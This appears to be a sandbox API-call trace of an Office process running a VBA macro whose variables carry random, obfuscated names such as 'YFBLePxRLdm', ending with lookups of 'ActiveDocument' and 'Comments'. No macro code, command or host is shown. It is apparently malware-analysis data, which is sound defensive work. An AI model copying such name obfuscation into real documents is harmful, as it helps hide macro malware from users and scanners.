[0029.978] ITypeComp:RemoteBind (in: This=0x757e060, szName="YFBLePxRLdm", lHashVal=0x1048c8, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x40e | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x40e) returned 0x0
[0029.978] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.978] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0c3e | out: _Dst=0x76ac2d0) returned 0x0
[0029.979] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1cfe, cbMultiByte=19, lpWideCharStr=0x3070b4, cchWideChar=20 | out: lpWideCharStr="_B_var_YFBLePxRLdm") returned 19
[0029.979] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_YFBLePxRLdm", lHashVal=0x103a2a, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.979] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xc, _Src=0x81d0c3e | out: _Dst=0x30711c) returned 0x0
[0029.979] CRetailMalloc_Free () returned 0x12b20401
[0029.979] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0c66, cbMultiByte=10, lpWideCharStr=0x3070a4, cchWideChar=11 | out: lpWideCharStr="RDKwUdLed") returned 10
[0029.979] ITypeComp:RemoteBind (in: This=0x757e060, szName="RDKwUdLed", lHashVal=0x10039c, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x410 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x410) returned 0x0
[0029.979] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.979] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xa, _Src=0x81d0c66 | out: _Dst=0x76ac2d0) returned 0x0
[0029.980] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1d2e, cbMultiByte=17, lpWideCharStr=0x3070b4, cchWideChar=18 | out: lpWideCharStr="_B_var_RDKwUdLed") returned 17
[0029.980] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_RDKwUdLed", lHashVal=0x100ce1, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.980] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xa, _Src=0x81d0c66 | out: _Dst=0x30711c) returned 0x0
[0029.980] CRetailMalloc_Free () returned 0x12b20401
[0029.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537ba4, cbMultiByte=7, lpWideCharStr=0x84e1d38, cchWideChar=16 | out: lpWideCharStr="NPnrvuZ") returned 7
[0029.980] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537bb6, cbMultiByte=8, lpWideCharStr=0x84e20c4, cchWideChar=18 | out: lpWideCharStr="TZgPnVEb") returned 8
[0029.981] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.981] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0cb6 | out: _Dst=0x76ac2d0) returned 0x0
[0029.981] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.981] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xc, _Src=0x81d0cb6 | out: _Dst=0x30711c) returned 0x0
[0029.981] CRetailMalloc_Free () returned 0x12b20401
[0029.981] CRetailMalloc_Alloc () returned 0x76054c8
[0029.981] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0cde | out: _Dst=0x76054c8) returned 0x0
[0029.981] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.981] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0cde | out: _Dst=0x30711c) returned 0x0
[0029.981] CRetailMalloc_Free () returned 0x8600201
[0029.981] CRetailMalloc_Alloc () returned 0x76054c8
[0029.981] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0d06 | out: _Dst=0x76054c8) returned 0x0
[0029.981] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.981] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0d06 | out: _Dst=0x30711c) returned 0x0
[0029.981] CRetailMalloc_Free () returned 0x8600201
[0029.981] CRetailMalloc_Alloc () returned 0x76054c8
[0029.981] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0d2a | out: _Dst=0x76054c8) returned 0x0
[0029.981] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.981] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0d2a | out: _Dst=0x30711c) returned 0x0
[0029.981] CRetailMalloc_Free () returned 0x8600201
[0029.981] CRetailMalloc_Alloc () returned 0x76054c8
[0029.981] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0d52 | out: _Dst=0x76054c8) returned 0x0
[0029.981] CompareStringA (Locale=0x409, dwCmpFlags=0x30001, lpString1="ecTDmEyRUr", cchCount1=-1, lpString2="_B_var_ZvStsRF", cchCount2=-1) returned 3
[0029.981] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.981] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0d52 | out: _Dst=0x30711c) returned 0x0
[0029.982] CRetailMalloc_Free () returned 0x8600201
[0029.982] CRetailMalloc_Alloc () returned 0x76054c8
[0029.982] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0d76 | out: _Dst=0x76054c8) returned 0x0
[0029.982] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.982] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0d76 | out: _Dst=0x30711c) returned 0x0
[0029.982] CRetailMalloc_Free () returned 0x8600201
[0029.982] CRetailMalloc_Alloc () returned 0x76054c8
[0029.982] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0d9a | out: _Dst=0x76054c8) returned 0x0
[0029.982] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.982] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0d9a | out: _Dst=0x30711c) returned 0x0
[0029.982] CRetailMalloc_Free () returned 0x8600201
[0029.982] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.982] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xc, _Src=0x81d0dc2 | out: _Dst=0x76ac2d0) returned 0x0
[0029.982] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.982] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xc, _Src=0x81d0dc2 | out: _Dst=0x30711c) returned 0x0
[0029.982] CRetailMalloc_Free () returned 0x12b20401
[0029.982] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.982] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xb, _Src=0x81d0dea | out: _Dst=0x76ac2d0) returned 0x0
[0029.982] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.982] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xb, _Src=0x81d0dea | out: _Dst=0x30711c) returned 0x0
[0029.982] CRetailMalloc_Free () returned 0x12b20401
[0029.982] CRetailMalloc_Alloc () returned 0x76054c8
[0029.982] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0e12 | out: _Dst=0x76054c8) returned 0x0
[0029.982] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.982] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0e12 | out: _Dst=0x30711c) returned 0x0
[0029.982] CRetailMalloc_Free () returned 0x8600201
[0029.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537c06, cbMultiByte=9, lpWideCharStr=0x84e2b5e, cchWideChar=20 | out: lpWideCharStr="RdMTHNLBL") returned 9
[0029.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537c1c, cbMultiByte=7, lpWideCharStr=0x84e2eca, cchWideChar=16 | out: lpWideCharStr="KWPswMv") returned 7
[0029.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537c30, cbMultiByte=10, lpWideCharStr=0x84e3232, cchWideChar=22 | out: lpWideCharStr="SxxdKKYSSM") returned 10
[0029.983] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0c8e, cbMultiByte=10, lpWideCharStr=0x3070a4, cchWideChar=11 | out: lpWideCharStr="TFewfMhzR") returned 10
[0029.983] ITypeComp:RemoteBind (in: This=0x757e060, szName="TFewfMhzR", lHashVal=0x109ec3, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x412 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x412) returned 0x0
[0029.984] CRetailMalloc_Alloc () returned 0x76ac2d0
[0029.984] _mbscpy_s (in: _Dst=0x76ac2d0, _DstSizeInBytes=0xa, _Src=0x81d0c8e | out: _Dst=0x76ac2d0) returned 0x0
[0029.984] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.984] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1d5e, cbMultiByte=17, lpWideCharStr=0x3070b4, cchWideChar=18 | out: lpWideCharStr="_B_var_TFewfMhzR") returned 17
[0029.984] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_TFewfMhzR", lHashVal=0x109887, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.984] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xa, _Src=0x81d0c8e | out: _Dst=0x30711c) returned 0x0
[0029.984] CRetailMalloc_Realloc () returned 0x753b4a0
[0029.984] CRetailMalloc_Free () returned 0x12b20401
[0029.984] CRetailMalloc_Realloc () returned 0x76b9938
[0029.992] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0e3a, cbMultiByte=11, lpWideCharStr=0x3070a4, cchWideChar=12 | out: lpWideCharStr="HuPgEfxZTv") returned 11
[0029.992] ITypeComp:RemoteBind (in: This=0x757e060, szName="HuPgEfxZTv", lHashVal=0x1058c6, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x428 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x428) returned 0x0
[0029.992] CRetailMalloc_Alloc () returned 0x76ac330
[0029.992] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xb, _Src=0x81d0e3a | out: _Dst=0x76ac330) returned 0x0
[0029.993] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1d8e, cbMultiByte=18, lpWideCharStr=0x3070b4, cchWideChar=19 | out: lpWideCharStr="_B_var_HuPgEfxZTv") returned 18
[0029.993] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_HuPgEfxZTv", lHashVal=0x10c730, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.993] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xb, _Src=0x81d0e3a | out: _Dst=0x30711c) returned 0x0
[0029.993] CRetailMalloc_Free () returned 0x12a20401
[0029.993] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0e62, cbMultiByte=10, lpWideCharStr=0x3070a4, cchWideChar=11 | out: lpWideCharStr="SvmLeKEWV") returned 10
[0029.993] ITypeComp:RemoteBind (in: This=0x757e060, szName="SvmLeKEWV", lHashVal=0x108dc1, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x42a | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x42a) returned 0x0
[0029.993] CRetailMalloc_Alloc () returned 0x76ac330
[0029.993] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xa, _Src=0x81d0e62 | out: _Dst=0x76ac330) returned 0x0
[0029.994] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1dbe, cbMultiByte=17, lpWideCharStr=0x3070b4, cchWideChar=18 | out: lpWideCharStr="_B_var_SvmLeKEWV") returned 17
[0029.994] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_SvmLeKEWV", lHashVal=0x109706, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.994] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xa, _Src=0x81d0e62 | out: _Dst=0x30711c) returned 0x0
[0029.994] CRetailMalloc_Free () returned 0x12a20401
[0029.994] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0e8a, cbMultiByte=9, lpWideCharStr=0x3070a4, cchWideChar=10 | out: lpWideCharStr="UNTEwnDp") returned 9
[0029.994] ITypeComp:RemoteBind (in: This=0x757e060, szName="UNTEwnDp", lHashVal=0x100c36, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x42c | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x42c) returned 0x0
[0029.994] CRetailMalloc_Alloc () returned 0x76054c8
[0029.994] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0e8a | out: _Dst=0x76054c8) returned 0x0
[0029.995] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1dee, cbMultiByte=16, lpWideCharStr=0x3070b4, cchWideChar=17 | out: lpWideCharStr="_B_var_UNTEwnDp") returned 16
[0029.995] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_UNTEwnDp", lHashVal=0x10e3fe, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.995] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0e8a | out: _Dst=0x30711c) returned 0x0
[0029.995] CRetailMalloc_Free () returned 0x8600201
[0029.995] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0eb2, cbMultiByte=11, lpWideCharStr=0x3070a4, cchWideChar=12 | out: lpWideCharStr="nYGuBFmsZe") returned 11
[0029.995] ITypeComp:RemoteBind (in: This=0x757e060, szName="nYGuBFmsZe", lHashVal=0x10b27f, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x42e | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x42e) returned 0x0
[0029.995] CRetailMalloc_Alloc () returned 0x76ac330
[0029.995] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xb, _Src=0x81d0eb2 | out: _Dst=0x76ac330) returned 0x0
[0029.996] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.996] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1e1a, cbMultiByte=18, lpWideCharStr=0x3070b4, cchWideChar=19 | out: lpWideCharStr="_B_var_nYGuBFmsZe") returned 18
[0029.996] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_nYGuBFmsZe", lHashVal=0x1020aa, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.996] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xb, _Src=0x81d0eb2 | out: _Dst=0x30711c) returned 0x0
[0029.998] CRetailMalloc_Free () returned 0x12a20401
[0029.998] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0eda, cbMultiByte=10, lpWideCharStr=0x3070a4, cchWideChar=11 | out: lpWideCharStr="mguystETn") returned 10
[0029.998] ITypeComp:RemoteBind (in: This=0x757e060, szName="mguystETn", lHashVal=0x101db7, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x430 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x430) returned 0x0
[0029.999] CRetailMalloc_Alloc () returned 0x76ac330
[0029.999] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xa, _Src=0x81d0eda | out: _Dst=0x76ac330) returned 0x0
[0029.999] IUnknown:Release (This=0x75e9628) returned 0x7
[0029.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1e4a, cbMultiByte=17, lpWideCharStr=0x3070b4, cchWideChar=18 | out: lpWideCharStr="_B_var_mguystETn") returned 17
[0029.999] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_mguystETn", lHashVal=0x10177b, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0029.999] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xa, _Src=0x81d0eda | out: _Dst=0x30711c) returned 0x0
[0029.999] CRetailMalloc_Free () returned 0x12a20401
[0029.999] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0f02, cbMultiByte=9, lpWideCharStr=0x3070a4, cchWideChar=10 | out: lpWideCharStr="YSRwUEaa") returned 9
[0029.999] ITypeComp:RemoteBind (in: This=0x757e060, szName="YSRwUEaa", lHashVal=0x10d046, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x432 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x432) returned 0x0
[0030.000] CRetailMalloc_Alloc () returned 0x76054c8
[0030.000] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x9, _Src=0x81d0f02 | out: _Dst=0x76054c8) returned 0x0
[0030.000] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1e7a, cbMultiByte=16, lpWideCharStr=0x3070b4, cchWideChar=17 | out: lpWideCharStr="_B_var_YSRwUEaa") returned 16
[0030.000] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_YSRwUEaa", lHashVal=0x10a7cf, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0030.000] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x9, _Src=0x81d0f02 | out: _Dst=0x30711c) returned 0x0
[0030.000] CRetailMalloc_Free () returned 0x8600201
[0030.000] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0f2a, cbMultiByte=11, lpWideCharStr=0x3070a4, cchWideChar=12 | out: lpWideCharStr="uUBFDBpWbC") returned 11
[0030.000] ITypeComp:RemoteBind (in: This=0x757e060, szName="uUBFDBpWbC", lHashVal=0x102078, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x434 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x434) returned 0x0
[0030.000] CRetailMalloc_Alloc () returned 0x76ac330
[0030.000] _mbscpy_s (in: _Dst=0x76ac330, _DstSizeInBytes=0xb, _Src=0x81d0f2a | out: _Dst=0x76ac330) returned 0x0
[0030.001] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1ea6, cbMultiByte=18, lpWideCharStr=0x3070b4, cchWideChar=19 | out: lpWideCharStr="_B_var_uUBFDBpWbC") returned 18
[0030.001] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_uUBFDBpWbC", lHashVal=0x108ee2, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0030.001] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0xb, _Src=0x81d0f2a | out: _Dst=0x30711c) returned 0x0
[0030.001] CRetailMalloc_Free () returned 0x12a20401
[0030.001] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0f52, cbMultiByte=8, lpWideCharStr=0x3070a4, cchWideChar=9 | out: lpWideCharStr="eBEcYMf") returned 8
[0030.001] ITypeComp:RemoteBind (in: This=0x757e060, szName="eBEcYMf", lHashVal=0x10d931, wFlags=0x5, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x436 | out: ppTInfo=0x307070*=0x0, pDescKind=0x307080*=0, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x4, pDummy=0x436) returned 0x0
[0030.001] CRetailMalloc_Alloc () returned 0x76054c8
[0030.001] _mbscpy_s (in: _Dst=0x76054c8, _DstSizeInBytes=0x8, _Src=0x81d0f52 | out: _Dst=0x76054c8) returned 0x0
[0030.002] IUnknown:Release (This=0x75e9628) returned 0x7
[0030.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d1ed6, cbMultiByte=15, lpWideCharStr=0x3070b4, cchWideChar=16 | out: lpWideCharStr="_B_var_eBEcYMf") returned 15
[0030.002] ITypeComp:RemoteBind (in: This=0x75e9630, szName="_B_var_eBEcYMf", lHashVal=0x10dcb5, wFlags=0x5, ppTInfo=0x307080, pDescKind=0x307090, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210, pDummy=0x1 | out: ppTInfo=0x307080*=0x0, pDescKind=0x307090*=0, ppFuncDesc=0x307084, ppVarDesc=0x757a6a4, ppTypeComp=0x307210*=0x0, pDummy=0x1) returned 0x0
[0030.002] _mbscpy_s (in: _Dst=0x30711c, _DstSizeInBytes=0x8, _Src=0x81d0f52 | out: _Dst=0x30711c) returned 0x0
[0030.002] CRetailMalloc_Free () returned 0x8600201
[0030.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7537e08, cbMultiByte=8, lpWideCharStr=0x85f3958, cchWideChar=18 | out: lpWideCharStr="Comments") returned 8
[0030.002] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x81d0a5a, cbMultiByte=15, lpWideCharStr=0x3070a4, cchWideChar=16 | out: lpWideCharStr="ActiveDocument") returned 15
[0030.002] ITypeComp:RemoteBind (in: This=0x75e82c8, szName="ActiveDocument", lHashVal=0x105cd3, wFlags=0x3, ppTInfo=0x307070, pDescKind=0x307080, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x1, pDummy=0x3f6 | out: ppTInfo=0x307070*=0x756c480, pDescKind=0x307080*=4, ppFuncDesc=0x307074, ppVarDesc=0x307210, ppTypeComp=0x1, pDummy=0x3f6) returned 0x0
[0030.033] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c480, ppTypeAttr=0x307084, pDummy=0x307210 | out: ppTypeAttr=0x307084, pDummy=0x307210*=0x0) returned 0x0
[0030.033] ITypeInfo:LocalReleaseTypeAttr (This=0x756c480) returned 0x74b30c8
[0030.034] ITypeInfo:GetRefTypeInfo (in: This=0x756c480, hreftype=0x940c, ppTInfo=0x306f7c | out: ppTInfo=0x306f7c*=0x756c480) returned 0x0
[0030.034] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x306fb8 | out: ppvObject=0x306fb8*=0x0) returned 0x80004002
[0030.034] ITypeInfo:RemoteGetTypeAttr (in: This=0x756c480, ppTypeAttr=0x306fbc, pDummy=0x0 | out: ppTypeAttr=0x306fbc, pDummy=0x0) returned 0x0
[0030.034] ITypeInfo:LocalReleaseTypeAttr (This=0x756c480) returned 0x74b30c8
[0030.034] IUnknown:Release (This=0x756c480) returned 0x2
[0030.034] IUnknown:AddRef (This=0x756c480) returned 0x3
[0030.034] IUnknown:Release (This=0x756c480) returned 0x2
[0030.034] IUnknown:AddRef (This=0x756c480) returned 0x3
[0030.034] IUnknown:QueryInterface (in: This=0x756c480, riid=0x727944c0*(Data1=0xcacc1e88, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x307018 | out: ppvObject=0x307018*=0x0) returned 0x80004002
